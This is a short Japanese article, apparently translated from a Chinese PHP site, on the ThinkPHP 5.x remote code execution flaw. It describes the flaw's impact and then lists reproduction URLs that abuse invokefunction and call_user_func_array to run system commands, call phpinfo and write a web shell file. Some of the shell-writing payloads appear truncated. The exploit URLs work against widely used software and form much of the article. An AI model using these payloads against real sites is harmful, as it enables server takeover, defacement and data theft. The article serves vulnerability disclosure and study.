ホームページ > 記事 > PHPフレームワーク > thinkphp のリモート コマンド実行の脆弱性
脆弱性の概要
ThinkPHP は中国で人気のあるオープンソース PHP フレームワークであり、リモートでコードが実行される可能性のある脆弱性があることが最近明らかになりました。攻撃者の PHP コードがキャッシュ ファイルに書き込まれ、リモートでコードが実行される可能性があります。
この脆弱性の悪用にはいくつかの前提条件が必要ですが、ThinkPHP フレームワークを使用している国内サイトが多数あることを考慮すると、この脆弱性は依然として一定の範囲の影響を及ぼします。フレームワークはコントローラー名に対して十分な検出を実行しないため、強制ルーティングがオンになっていない場合、getshell の脆弱性が発生する可能性があります。
この脆弱性の危険性
攻撃者はこの脆弱性を利用して Web サイトを制御し、ページを変更し、データ漏洩やその他の問題を引き起こす可能性があります。
影響を受けるバージョン
5.x
再現環境
thinkphp5.1 phpstudy 統合環境 (php5.6n apache mysql)
再現プロセス
1. まず図のように環境を設定します。
2. システム関数を使用してリモート コマンドを実行します:
http://localhost/thinkphp5.1/html/public/index .php ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
3. を通じて phpinfo を書き込みます。 phpinfo 関数 () 情報:
http://localhost/thinkphp5.1/html/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars [ 1][]=1
4. シェルを作成します:
http://localhost/thinkphp5.1/html /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^ >shell.php
または
http://localhost/thinkphp5.1/html/public/index.php? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=
推奨チュートリアル:「TP5」
以上がthinkphp のリモート コマンド実行の脆弱性の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。